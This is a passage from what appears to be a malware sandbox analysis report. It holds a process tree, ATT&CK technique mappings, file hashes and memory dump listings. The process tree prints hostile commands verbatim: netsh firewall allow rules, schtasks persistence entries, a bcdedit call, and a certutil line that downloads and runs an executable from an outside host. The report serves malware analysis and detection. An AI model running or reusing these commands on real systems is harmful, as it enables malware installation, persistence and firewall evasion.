        netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\05fc202ece11\05fc202ece11\05fc202ece11.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:1564
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2600
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:4848
    - - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe ""
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1496
      - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe ""
        6⤵
        Executes dropped EXE
        Manipulates WinMonFS driver.
        System Location Discovery: System Language Discovery
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2372
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1820
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://biggames.online/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1196
        
        C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
        
        "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
        7⤵
        Executes dropped EXE
        
        PID:3108
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\Sysnative\bcdedit.exe /v
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:1484

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe

Filesize
3.6MB

MD5
d449078802a5330cc5553e49482a98ee

SHA1
3e6e62739a014a3711b17faa37ac729cb1d085c8

SHA256
38afc38b92ce46bef4b9f01b0c5103d119c3dbd5c0072520c6263ef2435e176b

SHA512
5f6fe11dd26e05fc4d8ab31e372b0ab2d54b20d1b3ab2be7459c3a9654c9ed6e749f58448411b9e17878ce0c7c3c098b1f24f0401ed8d2b7393910f1454897c2

Download Submit
memory/2372-60-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2372-64-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2372-72-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2372-46-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2372-71-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2372-51-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2372-70-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2372-50-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2372-69-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2372-68-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2372-67-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2372-66-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2372-65-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2372-53-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2372-63-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2372-62-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2372-61-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2372-49-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2372-48-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2372-47-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2372-52-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2372-57-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2372-56-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2648-1-0x0000000003750000-0x0000000003AC3000-memory.dmp

Filesize
3.4MB

Download
memory/2648-2-0x0000000003AD0000-0x0000000003E3E000-memory.dmp

Filesize
3.4MB

Download
memory/2672-6-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2672-13-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2672-5-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2672-11-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2672-9-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2672-3-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2672-10-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2672-7-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2672-8-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/2672-12-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/4716-23-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/4716-26-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/4716-27-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/4716-24-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/4716-28-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download
memory/4716-40-0x0000000000400000-0x0000000000B27000-memory.dmp

Filesize
7.2MB

Download